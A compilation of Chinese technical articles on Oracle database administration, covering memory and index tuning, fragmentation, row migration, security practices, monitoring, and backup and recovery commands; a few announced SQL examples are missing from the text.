(1) 数据高速缓冲区。数据高速缓冲区储存的是最近从数据文件中检索出来的数据, 供所有用户共享。当用户要操作数据库中的数据时, 先由服务器进程将数据从磁盘的数据文件中读取到数据高速缓冲区中, 然后在缓冲区中进行处理。用户处理后的结果被存储在数据高速缓冲区, 最后由数据库写入进程 (DBWR) 写到硬盘的数据文件中永久保存。在Oracle数据库中, 采用脏缓存块列表和LRU列表来管理数据高速缓冲区中的缓存块。

(2) 重做日志缓冲区。重做日志缓冲区用于缓存用户对数据库进行修改操作时生成的重做记录。重做日志缓冲区是一个循环缓冲区, 从顶端向低端写入数据, 然后再返回到缓冲区的起始点 (顶端) 循环写入。重做日志缓冲区的大小对数据库性能有较大的影响。较大的重做日志缓冲区, 可以减少对重做日志文件写的次数, 适合长时间运行的、产生大量重做记录的事务。

(3) 共享池。共享池用于缓存最近执行过的SQL语句、PL SQL程序和数据字典信息, 是对SQL语句、PL/SQL程序进行语法分析、编译、执行的区域。合适的共享池大小, 可使编译过的程序代码长驻内存, 大大降低重复执行相同的SQL语句、PL/SQL程序的系统开销, 从而提高数据库的性能。

(4) 大型池。大型池是一个可选的内存配置项, 主要为O-racle多线程服务器、服务器I/O进程、数据库备份与恢复操作、执行具有大量排序操作的SQL语句、执行并行化的数据库等需要大量缓存的操作提供内存空间。

(5) 对这些内存缓冲区的合理设置, 可以大大加快数据查询速度, 一个足够大的内存区可以把绝大多数数据存储在内存中, 只有那些不怎么频繁使用的数据, 才从磁盘读取, 这样就可以大大提高内存区的命中率。

3 数据库的逻辑结构优化

Oracle数据库的逻辑结构是由一些数据库对象组成。逻辑结构优化用通俗的话来说就是通过增加、减少或调整逻辑结构来提高应用的效率, 下面通过对索引的讨论来分析Oracle逻辑结构的优化。

索引是一种可选的与表相关的数据库对象, 用于提高数据的查询效率。索引是建立在表列上的数据库对象, 但是其物理与逻辑结构都不依赖于表。在一个表上是否创建索引、创建多少索引和创建什么类型的索引, 都不会影响对表的使用方式, 只会影响对表中数据的查询效率。数据库中引入索引的目的是为了提高对表中数据的查询效率。如果一个表没有创建索引, 则对该表进行查询时要进行全表扫描;如果对表创建了索引, 在有条件查询时, 系统先对索引表进行查询, 利用索引表可以迅速查询到符合条件的数据。利用索引之所以能提高查询效率, 是因为在索引表中保存了索引值及其相应记录物理地址, 即ROWID, 并且按照索引值进行排序。

4 通过对表的管理进行优化

4.1 表分区

在大量数据处理的项目中, 可以考虑使用分区表来提高应用系统的性能并方便数据管理, 在大型的企业应用或企业级的数据库应用中, 要处理的数据量通常可以达到几十到几百GB, 有的甚至可以达到TB级。虽然存储介质和数据处理技术的发展也很快, 但仍然不能满足用户的需求, 为了使用户大量的数据在读写操作和查询中速度更快, Oracle提供了对表和索引进行分区的技术, 以改善大型应用系统的性能。

4.2 碎片整理

当要满足一个空间要求时, 数据库不再合并相邻的自由范围 (除非别无选择) , 而是寻找表空间中最大的自由范围来使用。这样将逐渐形成越来越多的离散的、分隔的、较小的自由空间, 即碎片。随着时间推移, 基于数据库的应用系统的广泛使用, 产生的碎片会越来越多将对数据库有以下两点主要影响:

(1) 导致系统性能减弱

当要满足一个空间要求时, 数据库将首先查找当前最大的自由范围, 而“最大”自由范围逐渐变小, 要找到一个足够大的自由范围已变得越来越困难, 从而导致表空间中的速度障碍, 使数据库的空间分配越发远离理想状态;

(2) 浪费大量的表空间

尽管有一部分自由范围 (如表空间的pctincrease为非0) 将会被SMON (系统监控) 后台进程周期性地合并, 但始终有一部分自由范围无法得以自动合并, 浪费了大量的表空间。

为了消除区间交叉将静态的或只有小增长的表放置在一个表空间中, 而把动态增长的对象分别放在各自的表空间中。在create table、create index、create tablespace、create cluster时, 在storage子句中的参数的合理设置, 可以减少碎片的产生。

4.3 行链接 (Row chaining) 与行迁移 (Row Migration)

当一行的数据过长而不能插入一个单个数据块中时, 可能发生两种事情:行链接 (row chaining) 或行迁移 (row migration) :

(1) 行链接

当第一次插入行时, 由于行太长而不能容纳在一个数据块中时, 就会发生行链接。在这种情况下, oracle会使用与该块链接的一块或多块数据块来容纳该行的数据。行连接经常在插入比较大的行时才会发生, 如包含long, long row, lob等类型的数据。在这些情况下行链接是不可避免的。

(2) 行迁移

当修改不是行链接的行时, 当修改后的行长度大于修改前的行长度, 并且该数据块中的空闲空间已经比较小而不能完全容纳该行的数据时, 就会发生行迁移。注意, 即使发生了行迁移, 发生了行迁移的行的rowid还是不会变化, 这也是行迁移会引起数据库I/O性能降低的原因。

Oracle在大多数情况下, 行链接是无法克服的。当在不同的表中有大量的链接行, 并且哪些表的行的长度不是很长时, 你可以通过用更大的block size重建数据库的方法来解决它。行迁移主要是由于设置的PCTFREE参数过小, 导致没有给update操作留下足够的空闲空间引起。为了避免行迁移, 所有被修改的表应该设置合适的PCTFREE值, 以便在每个数据块内为数据修改保留足够的空间。可以通过增加PCTFREE值的办法来避免行迁移, 但这种解决办法是以牺牲更多的空间为代价的, 这也就是我们通常所说的以空间换效率。而且通过增加PCTFREE值的办法只能缓解行迁移现象, 而不能完全解决行迁移, 所以较好的办法是在设置了合适的PCTFREE值的后, 在发现行迁移现象比较严重时, 对表的数据进行重组。

5 通过对数据后台的处理进行优化

一般来说, 优化大致可分为两个方面:

(1) 数据库本身的优化。首先和硬件平台有很大的关系, 检查一下硬件配置是否能胜任这样的工作, 如果硬件本身比较差, 那优化的效果也是很有限的。同时, Oracle的启动参数设置合理不合理对系统的性能影响非常大。你的应用有大量的BATCH运行, 属于报表系统类型, 如果能适当调整DB_BLOCK_SIZE, SHARE_POOL等参数, 同时调整ROLLBACK_SEGMENT, 应该能比较大的改善系统的性能。

(2) 程序代码的优化。代码优化有很多GUIDE LINE, 比如查询优化的13条原则, 数据更新时CONSTRANITS的处理等等, 大部分情况下要靠经验来判断效果如何。很难一下子讲清楚。你可以考虑跟踪整个执行过程, 然后把其中占用时间最长的几个操作找出来, 集中精力对这几个部分进行分析 (用一些第3方工具来定量的分析) 。

6 结束语

优化Oracle数据库对提高计算机系统的可用性和效率, 具有非常重要的意义, 特别是在Oracle数据库设计开发阶段, 对逻辑结构和物理结构进行有效的优化设计, 创建一个规划布局合理的数据库, 能从根本上大大提高应用系统的整体性能, 对于以后的数据库性能调整和利用都有很大的益处。

参考文献

[1]孙风栋.Oracle数据库基础教程[M].北京:电子工业出版社, 2008.

[2]Bob Bryla Biju Thomas OCP:Oracle新特性学习指南[M].北京:电子工业出版社, 2005.

ORACLE数据库系统安全探讨 第8篇

1 Oracle数据库中的现有的安全策略

众所周知,大型关系型数据库产品Oracle是目前企业中应用最广的数据库产品之一,位于所有企业型数据库之首,但是一个如此成熟的企业级软件在使用中也仍然存在着安全隐患,仍需要数据库管理员制定完整的安全策略,以最大程度地保证数据库的完整性和可用性。现有的Oracle数据中的安全策略大致可分:数据库安全策略、用户安全策略、系统安全策略和审计策略。

1.1 数据库的安全

数据库的安全主要包括数据库运行的稳定性和数据库用户角色的管控两个方面。

1.1.1 数据库运行的稳定性

在大型的生产环境中每天都会产生大量的告警数据,在这些数据中隐藏着很多有价值的信息。这些信息可用来过滤冗余的告警,在网络中进行故障定位和预测严重的错误。但这些信息是隐藏在数据中的,通过数据挖掘才能获得。在告警数据中可挖掘出各种不同类型的知识。经常对数据库告警日志(alert_.log)中“ORA-”、“DISTRIB TRAN”、“Shutting down instance”、“Deadlock detected”等相关关键字进行检查,对数据库的出错信息进行分析并协调相关人员进行处理。一般来说,一个Oracle数据库管理员应该做的Oracle数据库系统监控工作如下:

1)每天对Oracle数据库的运行状态、日志文件、备份情况、数据库的空间使用情况、系统资源的使用情况进行检查,发现并解决问题。

2)每周对数据库对象的空间扩展情况、数据的增长情况进行监控,对数据库做健康检查,对数据库对象的状态做检查。

3)每月对表和索引等进行Analyze,检查表空间碎片,寻找数据库性能调整的机会,进行数据库性能调整,提出下一步空间管理计划。对Oracle数据库状态进行一次全面检查。

1.1.2 数据库用户角色的管控

不要给数据库用户提供比其需要的还要多的权限。换句话说,只给用户真正需要的、为高效和简洁地完成工作所需要的权限。

要限制数据库管理员用户的数量,在任何一个服务器中,管理员具有最高的权限。为了让数据库维持正常的运转,必须给数据库配置管理员账户。否则的话,当数据库出现故障的时候,就没有合适的用户对其进行维护了。但是,这个管理员账户的数量要严格进行限制。不能为了贪图方便,把各个用户都设置成为管理员。数据库管理员必须有create和delete文件的操作权限,而一般数据库用户不应该有create或delete与数据库相关文件的操作权限。如果操作系统能为数据库用户分配角色,那么数据库安全管理者必须有修改操作系统账户安全性区域的操作权限。作为数据库安全管理者应注意从如下几个方面对数据库用户进行安全管控:

首先,要使用“角色”对数据库用户权限进行管理,数据库安全性管理者必须针对终端用户制定安全性策略。例如,对于一个有很多用户的大规模数据库,安全性管理者可以决定用户组分类,为这些用户组创建用户角色,把所需的权限和应用程序角色授予每一个用户角色,以及为用户分配相应的用户角色。当处理特殊的应用要求时,安全性管理者也必须明确地把一些特定的权限要求授予给用户。您可以使用“角色”对终端用户进行权限管理。

其次,保护作为sys和system用户的连接。当数据库创建好以后,立即更改有管理权限的sys和system用户的密码,防止非法用户访问数据库。当作为sys和system用户连入数据库后,用户有强大的权限用各种方式对数据库进行改动。应该只有数据库管理员能用管理权限连入数据库,当以sysdba用户登陆可以执行startup、shutdown、recover或对数据库对象(例如create,drop,和delete等进行没有任何限制的操作。

1.2 数据库的备份策略

当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(包括机器故障、介质故障、误操作等),数据库有时也可能遭到破坏,这时如何尽快恢复数据就成为当务之急。如果平时对数据库做了备份,那么此时恢复数据就显得很容易。由此可见,做好数据库的备份是多么的重要。

1.2.1 磁带库容量的估算

根据要求,备份设备容量应该满足系统两次完整备份的空间及备份周期内日常增量备份及数据库归档备份需求,备份周期内日常增量和数据库归档备份各按照1个全备份估算容量,则系统脱机备份量约相当于当前联机数据有效容量的4个全备份。

1.2.2 数据备份策略建议

根据数据的实时性、重要性、大小和变动频率不同,数据库备分可以分为归档和非归档备份模式:

1)归档数据库:采用RMAN在线备份方式备份(LAN-FREE)。同时结合exp逻辑导表备份方式。备份归档日志可根据存放归档日志的文件系统大小决定频率(一般每4小时一次),在夜间通过全量和增量结合的方式,备份数据库,如以周为单位,周日运行全备,周一到周六运行增量备份。同时,每天晚上,将重要的表导出并压缩备份。全量和增量结合的备份方式,如果两个全量备份之间的时间间隔太长,则使数据库恢复的时间变长,因此,建议系统初期,由于数据不大,可以采用每天全备份的方式,备份时间为夜间23:00(根据具体情况而定),备份周期为每天一次,这样可以避免因归档太多而导致恢复时消耗太多时间,备份保存周期定为3天。对于归档日志备份,每4小时备份一次。归档日志的保存周期为3天。

2)非归档数据库:LAN-FREE备份方式,逻辑导表模式,在系统初期,数据库不大时,可以每天晚上,全库导出并压缩备份,每天一次;数据量增长后,可采用全备和增量结合的方式,如计费数据库每周六做一个全库导出备份,周日到周五做增量备份,对于查询数据库,增量备份的频率可以少一些,每周一个全备加2个增量备份。

2 保障数据库稳定运行的自动预警策略构想

2.1 Oracle数据库维护中存在的主要问题

1)缺乏对这些服务器和数据库集中监控的手段,对服务器和数据库的维护主要靠手工分别登录到相应的服务器上,并以手工敲命令的形式来实现。

2)管理方式不直观,对技术人员有一定的专业要求,由于受水平所限,有时难以在需要时找到技术手段来发现问题的症结所在,拖延了故障的排除时间。

3)如果全面查询一遍系统的状态,速度太慢,由于服务器数量多,且是复杂变化的动态系统,从操作系统到数据库的所有状态都手工查询一遍几乎是不可能的,只能查看几项重要的参数,从而难以使一些问题被及时发现解决。

4)只能查看数据库的实时状态,许多历史数据无法保存以做分析和优化之用。

5)现有的工作方式被动。有不少问题,只有等到问题暴露之后(如表、索引无法扩展,导致前台工作陷于停顿)才能得到解决,不但拖延了时间,而且对业务造成负面影响。

6)无法了解众多服务器和数据库的运行状态。因为对服务器和数据库没有一个有效的监控工具,动态全方位地掌握、评估系统运行的状况等等。

2.2 自动预警系统的构想

可以通过将系统管理员的手动操作传化为利用Shell开发服务器运行程序。系统通过自动TELENT验证登录到各台主机服务器上。然后再执行相应的指令(包括服务器负载、0RACLE数据进程检查、系统诊断信息等),最终获取相应的执行结果,对系统的诊断信息、系统硬盘空间、系统平均负荷、数据库系统进程检查等结果进行分析处理。然后再对处理完的结果进行LOG并保存在数据库中,对于异常或超门限的指标进行邮件或短信预警。定期对LOG进行必要的分析,从而分析出主机服务器性能的大致发挥情况。

2.3 自动预警系统的可行性和必要性。

在实施服务器和数据库自动预警系统后,能够对数据库性能及安全进行集中监控管理,对服务器和数据库实行全面监控,有利于管理人员对主机服务器系统的性能进行进一步的了解,从而达到优化系统的作用。对服务器和数据库实行全面监控,及时对数据库结构进行重组优化,提前发现和解决问题,保证服务器和数据库的性能处于良好状态,避免可能造成的损失和影响。系统通过实时和定时两种方式,对服务器系统和数据库的告警信息进行分析,对超过预警门限值和告警级别较高的信息通过短信实时发送给系统管理员,使系统管理员在第一时间掌握服务器和数据库的告警信息,及时做出准确的判断,并采取相应的措施进行处理。

摘要:数据库安全问题一直是困扰数据库管理员的主要问题,针对Oracle数据库中的安全问题,总结了Oracle中必要的安全设置,并对数据库安全的自动预警提出了可行的策略。

关键词:数据库,安全,预警

参考文献

[1]oracle10g库管理员使用大全[M].北京:清华大学出版社,2001.

[2]王珊萨师煊数据库系统概论[M].北京:高等教育出版社,2006.

[3]王曦.关于SQL Server数据库安全设置的探讨[J].福建电脑,2008(10).

[4]颜文胜.数据库安全问题的策略研究[J].科技资讯,2007(24).

[5]金鹏.主机数据库预警系统设计[J].福建电脑,2006(7).

Oracle数据库性能优化方法 第9篇

表格是关系型数据库的基础, 数据库中的所有信息都是以表格的形式来存放的。由于Oracle数据库是一个大型的数据库, 存储着大量的数据信息。它使用一个内置的优化器来决定检索数据的最快方法。在Oracle的性能优化中, 适当的建立索引是很关键的。

(1) 低选中率的列建立位映射索引:为那些唯一度很低的列创建位映射索引, 位映射索引能够极大地帮助改善读性能。位映射索引所创建的是包含每个特定关键字0、1值的二进制位映射流。由于这里需要的是位级二进制算术运算, 因此大量的行可以被高速地处理。此外, 位映射索引所占用的空间仅仅是常规B*树索引空间开销的一小部分。同时, 只有在事实/维集合中创建了位映射索引的情况下, 才能使用新的STAR_TRA NSFORMATION访问路径。

(2) 为不平衡的B*树索引创建反转关键字索引:反向键索引是一种B*树索引。在这种索引方式中, 关键字值的字节是按照相反的顺序存储的。通过将关键字反向, 可以使得索引在B*树上更为均匀的分布, 这对于OPS (Oracle并行服务器) 环境非常有用。在这种情况下, 对相同叶节点块的竞争将会导致实例间“ping”动作的发生。针对叶节点块的竞争使用或叶节点块的不均匀密度问题, 主要应该使用反向键索引。

要建立合适的索引, 还必须考察select和where子句, 因为这是查询优化的首要焦点。当索引包括多列时, 就构成了复合索引。此时, 进行查询时会对索引的顺序十分敏感。例如, 在zgda表上创建一个复合索引 (dm, xm) 。查询语句为:

而下面的查询不会采用此索引

这在Oracle中称为“前部说明方式”, 即只有当where条件中的列在复合索引列的前部时, 索引才会被查询优化采用。使用索引可以提高检索数据的效率, 但并不是说只要有索引, 检索的效率就会提高, 添加索引是以增大存储量和降低插入性能为代价的。这里存在着“百分之二十”的规则, 当从表格中选取的行超过总行数的百分之二十时, 表上的索引不会提高检索的速度, 因此在创建索引时要考虑到这一点。不合适的索引将会导致查询性能的严重降低, 应在SQL语句中将这索引隐藏。

2 优化SQL语句

SQL是一种非过程化语言, 它一次处理的是一个记录集合, 对数据提供自动导航。SQL允许用户在高层的数据结构上工作, 而不是对单个记录进行操作。SQL不要求用户指定对数据的存取方法, 而是使用查询优化器, 由系统决定对指定数据存取的最快速手段。当关系数据库的设计者在关系表上定义了索引之后, 系统会自动地利用索引进行快速检索, 用户不需知道表上是否有索引以及表有什么类型的索引等细节。

在SQL语句中, 应注意以下几点: (1) 在where子句中, 若使用and条件, 应将最有可能导致查询失败的条件放前面;若使用or条件, 应将最有可能致查询失败的条件放在后面; (2) 进行多表查询时, 应将返回行少的表放在from子句的后面, 在where子句中, 应将记录多的表的字段写在左边。值得注意的是, 对那些写得不好的小SQL语句进行优化更为重要, 因为这些小的SQL语句每天可能被访问成千上万次。

3 碎片问题

碎片是由于同一磁盘的各个部分分散在磁盘的不同区域产生的。在删除磁盘上的文件和添加新文件时会产生碎片。碎片的大量存在减慢了磁盘访问的速度, 并降低了磁盘操作的综合性能。为了预防碎片, Oracle提供两类表空间: (1) 字典管理的表空间。在这种方式下, 扩展管理是通过数据字典完成的。这是一种常规的和缺省的表空间类型; (2) 本地管理的表空间, 扩展管理是表空间自身完成。一旦选择了一个指定的类型, 就不能更改。在OLTP环境中, 碎片是索引的祸根。Oracle提供了两种方法来消除现存索引中的碎片:联机重建 (Rebuild) 和内置合并 (Coalesce) 。通过联机重建机制, 索引可以完全地重建, 这样就能恢复空间并且重新定位它。Rebuild可以重新将一个索引定位到另一个表空间中。Coalesce并不要求大量的磁盘空间, 因为它在相同的索引内操作。它基本上是合并那些有相同分枝的叶节点。换句话说, 它合并那些在过去分离的叶节点块。它释放叶节点块以备将来使用。

4 调整系统参数

每次在数据服务器上启动数据库系统时, 就会在内存分配一个系统全局区 (System Global Area) , 简称SGA。系统全局区用于存放系统信息, 所有的用户进程和服务进程都可以访问这个内存结构。由于内存读取数据比磁盘读取要快得多, 所以调整SGA参数, 可使Oracle发挥最大效能。如果SGA太小, 就无法高效地完成Oracle中的操作, 如果SGA太大, 操作系统就可能没有足够的内存高效地完成计算机所必须的操作。在Init ora中通过调整DB_BLOCK_BUFFER和LOG_BUFFER的值, 来改变SGA的值。SGA的值占整个内存的50%左右较为理想。在Oracle数据库中有很多参数的设置是来定义物理存储、资源利用的, 这些参数设置得是否合适也就与系统的效率直接有关, 参数的调整实际上就是要调整资源的利用效率, 其中对O-racle性能影响最大的是以下两组参数。

(1) SHARED_POOL_SIZE:共享池的大小, 保持一个高的高速缓存命中率对于数据库性能是非常重要的。如果高速缓存的命中率过低, 那么就需要调整SHARED_POOL_SIZE的大小来提高命中率。可以用如下命令来查看是否需要调整这个参数:

如果得出的结果大于1, 那么就需要调整这个参数。

(2) DB_BLOCK_SIZE:DB_BLOCK_SIZE是Oracle内存块的大小。一般来说, 这个值越大, 对数据库性能越有利。它的取值范围一般为2KB, 此值最好在数据库建立之前就确定好。一旦数据库建立, 改变这个值就比较麻烦, 对大型的数据库尤其如此。

在运行时, 导致程序失败的最常见的原因之一就是程序段的不可生长。这种不可生长可能是由于表空间中没有足够的空间来容纳段的生长, 也可能是到达了MAXEXTENTS。到达MAXEXTENTS可能会造成大量的浪费, 并且它不容易引起人们的注意, 操作者可以考虑将MAXEXTENTS的值设置的尽可能大。从Oracle7开始, MAXEXTENTS对DB_BLOCK_SIZE的依赖性就被取消, 从而使得MAXEXTENTS可以按照需要进行设置, 甚至可以将它设置为UNLIMITED。如果使用的是MAXEX-TENTS, Oracle将自动地把MAXEXTENTS设置为249000000。通过此设置, 就能够有效地阻止段由于到达扩展段的最大值而使应用程序因为不能接受更多数据而导致失败。

5 结束语

Oracle作为一个流行的大型关系型数据库, 在越来越多的系统中得到应用, 如果在实际应用中根据系统的实际情况, 选择合理的优化调整策略, 必定能够充分地利用Oracle提供的高性能服务、各种系统资源, 取得满意的应用效果。

摘要:作为一种大型数据库, Oracle能广泛应用于金融、邮电、电力、民航等国民经济重要部门。其设计的结构提供了完整、简单的操作及可靠度相当高的数据备份和恢复机制 (backup and recovery) 。对于数据库管理员来讲, 如何提高数据库性能, 显得尤为重要。

Oracle数据库 第10篇

关键词: 日志 内存命中率 等待事件 实例活动

中图分类号: TP39 文献标识码: A文章编号: 1007-3973 (2010) 04-061-02

随着数据库系统的普遍使用,一方面,各类型企业海量数据信息的存储变得不再困难,越来越多的企业以数据为核心开展自身业务;另一方面,随着数据库系统的长期、深入使用,数据量日积月累的海量增加,数据库逐渐成为企业系统性能性能问题的高发区。

解决数据库的性能问题,提高系统运行速度逐渐成为各DBA的主要任务之一。数据库性能问题调整工作贯穿于整个数据库生存周期,从数据库的设计,实施开始,一直到结束使用。但由于数据库性能问题的时效性、隐蔽性以及突然性等特性使问题的定位变得异常困难。本文结合了一些常见的性能分析手段,枚举了性能问题的定位方法,希望能抛砖引玉使数据库的性能问题定位更规范化、流程化。

1 日志监控

由于性能问题常常会伴随着一些系统异常,或者是一些异常发生的先兆,所以监控数据库系统日志是定位性能故障的一个基本点。

1.1 库警告日志监控

Oracle在运行过程中,会在BDUMP路径下的警告日志文件中记录数据库的一些运行情况,包括系统启动参数、日志切换情况、数据库异常等。大部分性能问题发生的同时都会伴随着一些异常信息如:死锁、回滚段溢出、临时表空间满等。

1.2监听警告日志监控

监听日志记录数据库的每个连接(无论是正常的还是非法的)的链接情况,查看该日志可以获取数据库链接情况,当出现链接相关的性能问题,如:PGA耗尽或达到UNIX最大链接数等就应该查询该文件。

2 OS系统性能监控

由于OS是数据库系统运行的基础,也是数据库系统的载体,所以数据库性能问题一般反映到OS系统上就是CPU、内存、I/O资源的消耗殆尽。所以OS层出现资源短缺的时候,亦是数据出现资源短缺的时候。

2.1 TOP命令监控内存/进程/CPU

top命令用来显示执行中的程序进程和其他状况,使用权限是所有用户;top命令提供了实时的对系统处理器的状态监视,通过该命令可以查看数据库进程对CPU、内存等资源的占用情况,并从OS进程PID查找出故障SQL。

2.2VMSTAT监控内存情况

vmstat 命令报告关于内核线程的统计信息,包括处于运行和等待队列中的、内存中的、页面调度中的、磁盘中的、中断、系统调用、上下文切换和CPU活动的内核线程。该命令可以确定系统内存的整体消耗情况。

2.3IOSTAT监控I/O情况

iostat工具将对系统的磁盘操作活动进行监视。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。该命令可以查看系统的整体I/O消耗状态。

3 等待事件监控

在任何一个时间点,每个Oracle进程都正在忙于服务一个请求或者等待某些事件的发生。Oracle的等待事件是衡量Oracle运行状况的重要依据及指标,分为:空闲事件――Oracle正等待某种工作,非空闲等待事件――专门针对Oracle的活动,指数据库任务或应用运行过程中发生的等待

3.1 系统等待事件

通过v$system_event视图,查询从实例启动后各个等待事件的概括。根据系统等待信息的历史影象,并通过两个snapshot获取等待项增量,可以确定这段时间内系统的总体等待信息。从数据库系统级别判断存在等待的资源瓶颈。

3.2会话等待事件

V$session_wait提供了任何情况下session在数据库中当前正在等待什么(如果session当前什么也没在做,则显示它最后的等待事件)。当系统存在性能问题时,可使用该视图进一步定位引起等待事件的会话等信息。

4 内存命中率监控

监控内存命中率,可以有效地定位由内存参数分配与实际数据库运行状态不匹配等,由数据库内存引起的性能问题故障。

4.1 字典缓存命中率

数据字典缓存区是存储在共享池中的,它缓存了最近访问的数据字典信息。在内存中缓存这些信息将大大减少了时间和解析SQL语句所必须的I/O。字典缓冲区的命中率≥95%认为是理想的。

4.2 库缓存命中率

库高速缓存区是系统全局区(SGA)中的一块区域。Oracle 对最近执行的SQL语句执行计划和解析树进行缓存,也包括了PL/SQL代码的缓存备份。库高速缓存区的命中率表明了代码重用的频繁程度。通常来说,命中率接近100%是理想值。

4.3 数据库高速缓存区命中率

数据库高速缓存区,以下称为高速缓存区,它存放着内存中最近被访问的数据块。通过查看高速缓存器的命中率,DBA可以判断出数据库高速缓存器的规模是否合理。如果命中率≥90%,可以认为参数设置是合理的,否则说明缓存中的很多数据无法满足数据库访问的需要,增加了系统I/O操作的次数。

4.4 闩命中率

获得Latch的次数与请求Latch的次数的比率。该指标的值应接近100%,如果低于99%,可以考虑采取一定的方法来降低对Latch的争用。

4.5 内存排序命中率

指排序操作在内存中进行的比率。当查询需要排序的时候,数据库会话首先选择在内存中进行排序,当内存大小不足的时候,将使用临时表空间进行磁盘排序,但磁盘排序效率和内存排序效率相差好几个数量级。该指标的值应接近100%,如果指标的值较低,则表示出现了大量排序时的磁盘I/O操作。

5 实例活动情况监控

针对性能问题期间,对实例的各个内部模块的活动和各种资源使用情况的统计,主要包括CPU使用情况,SQL*Net消息,链接的行存取和PGA使用情况等,从数据库的实际活动情况可以分析出数据库系统的负载情况,主要活动内容等。

5.1 系统活动情况

v$sysstat视图可用于监控系统资源使用情况,以及系统资源利用率的变化。正因如此多的性能数据,检查某区间内系统资源使用情况可以这样做,在一个时间段开始时创建一个视图数据快照,结束时再创建一个,二者之间各统计项值的不同 (end value - begin value) 即是这一时间段内的系统资源消耗情况。

5.2 会话活动情况

v$sesstat存储session从login到logout的详细资源使用统计。类似于v$sysstat可从该视图查询出每一会话的资源消耗情况。

6STATPACK/AWR检测

通过Statspack/AWR我们可以很容易的确定Oracle数据库的瓶颈所在,记录数据库性能状态,也可以使远程技术支持人员迅速了解你的数据库运行状况。

7 自建JOB监控实时视图

由于会话等待事件,会话活动等均为实时视图,无历史记录,而STATPACK/AWR有时不能抓取想要的信息,此时,需要建立一套临时记录表,编写存储过程,定时记录相关的实时情况,再根据空闲时段的视图对比,获取系统的瓶颈。

8 通过自建视图对比检测

由于系统等待事件视图与系统实例活动视图等系统级视图记录的都是由系统启动以来的信息,并不能体现出增量变化情况,此时可创建临时表记录系统表信息,然后在使用当前系统表信息与之对比,以获取在故障时段的增量变化,以便从变化中定位到系统瓶颈。

9 结束语

ORACLE数据库性能问题出现机率,会随着数据库系统的使用时间与使用频率会成几何倍数上升,但性能问题一般出现都会呈现明显的时段性、随机性,这使得故障重现,或者在故障发生期间及时查找出故障问题变得难上加难。

数据库的性能问题定位是一个系统工程,涉及的方面很多。如何有效地进行定位,数据库管理员需要经过反反复复的过程,且要注重各方面的努力才会取得整体效果。这些都需要在大量的实践工作中不断地积累经验,从而更好地进行数据库的调优而解决问题的关键是找到真正的性能问题。

参考文献:

[1] 杨厚云,龚汉明,武装. Oracle数据库性能优化方案[J].机械工业学院学报,2006年12月第21卷第4期.

[2] ITPUB数据库管理版http://www.itpub.net/forum-2-1.html .

[3] 盖国强,冯春培,叶梁,等Oracle 数据库性能优化[M].人民邮电出版社,2005年1月.

Oracle数据库备份和恢复 第11篇

1 Oracle数据库认识

甲骨文公司推出的关系数据库管理系统Oracle数据库具有良好的硬件兼容性, 具有对大数据量、多用户事务的处理能力, 同时还支持不同类型的操作系统, 并且能遵守包括通用数据存取语言、操作系统 (操作系统漏洞、操作系统补丁和操作系统用户等) 、用户接口和网络通信协议等方面的工业标准。Oracle数据库具备强大的数据库管理功能与分布式处理能力, 如支持大量的多媒体数据, 包括多维数据结构、图像、声音和动画等方面的数据, 可以有效保障数据的安全性及稳定性。基于此, 使得Oracle数据库在政府、金融、教育等部门中应用广泛。

2 Oracle数据库备份

数据库备份是非常重要的一个环节, 可以说能够进行怎样的数据恢复依赖于怎样的数据备份, 因此它也是数据库恢复非常重要的一步。备份的好坏对数据库恢复的精确性和及时性有非常重要的影响, 可以说备份和恢复是互相联系的概念。Oracle数据导入和导出imp/exp就相当于oracle数据还原和备份。Oracle数据库备份可分为物理备份和逻辑备份, 其中物理备份是为了实现数据库的完整恢复, 而将组成数据库的实际操作系统文件加以拷贝的过程, 一般是从磁盘到磁带进行备份。进行物理备份的数据库需在归档模式下运行, 且外部存储设备需满足备份的需要。物理备份又有冷备份与热备份之分, 其中冷备份是极为快速的备份方法, 主要是在数据库正常关闭之时提供一个完整的数据库, 能和归档方法相结合, 做到数据库“最佳状态”的恢复。但是, 冷备份存在的问题是不能按表或按用户恢复, 单独使用时只能提供“某一时间点上”的恢复, 并且在冷备份过程中数据库要处于关闭状态。

借用第三方软件所进行的冷备份主要分三个步骤, 首先是关闭运行中的oracle数据库, 使其内外部运行模块处于停止状态, 采用命令符:sqlplus / as sysdba;shutdown immediate开展这一步骤。其次, 进行数据库的备份, 通过命令符:host copy d: oracle oradata *.* e: backup 20151231, 将整个数据库文件存储到别的存储介质或是存储位置当中, 也可以只备份部分数据库文件, 诸如配置文件、控制文件等。最后是启动Oracle数据库, 具体通过命令符startup开展这一步骤。

与冷备份相反, 热备份则需要在数据库运行的情况下进行数据库的备份, 又称为联机备份, 其备份方法是archivelog mode。热备份可对几乎所有数据库实体达到秒级恢复, 并且能在表空间或者是数据库文件中进行备份, 所用时间短。热备份与冷备份相辅相成, 互为补充, 一旦出现问题, 可以借由两种备份资料帮助信息恢复。开展热备份, 需要数据库运行于archivelog的状态之下, 并且需要大量的档案空间, 也需要分三个步骤进行备份。一是先检查数据库是否处于归档模式。命令符:sqlplus / as sysdba;archive log list。二是切换为归档模式。命令符:alter system set log_archive_dir='location=d: backup Arclog'。三是对文件进行热备份。命令符:alter database backup controlfile to 'd: backup ctl.bkp' (备份控制文件) ;alter system archive log current (备份当前联机重做日志文件) 。

而Oracle数据库的逻辑备份则需要借助EXP工具及SQL语言, 从数据库中抽取数据并存于二进制文件当中。逻辑备份操作简单, 且无需特定的外部存储设备, 无需数据库运行于归档模式下, 其一般分为用户备份、表备份和完全备份三种形式, 主要用于业务数据库的备份。

3 Oracle数据库恢复

数据库恢复是把数据库由存在故障的状态转变为无故障状态的过程。数据库故障是指数据库运行状态下影响数据库正常使用的特殊事件。数据库故障有许多类型:语句失败;用户进程失败;用户或应用错误操作;实例失败等。通常根据故障的类型不同分为实例恢复和介质恢复。其中实例恢复主要是Oracle在其实例产生故障之后, 自行进行恢复的形式。而介质恢复则是在存放数据库中的介质产生故障时进行的恢复。基于Oracle数据库不同形式的备份, 其恢复有物理备份恢复和逻辑备份恢复之分。物理备份恢复主要分为四个步骤, 首先是在原位置上拷贝数据文件进行备份, 将该文件设置成为离线状态, 其命令符为:alter database datafile 4offline drop。其次是打开数据库, 其命令符为:alter database open。 再次是恢复数据库中的数据文件, 其命令符为:recover datafile。最后是将数据文件设为联机状态, 其命令符为:alter database datafile 4 online。

4 结语

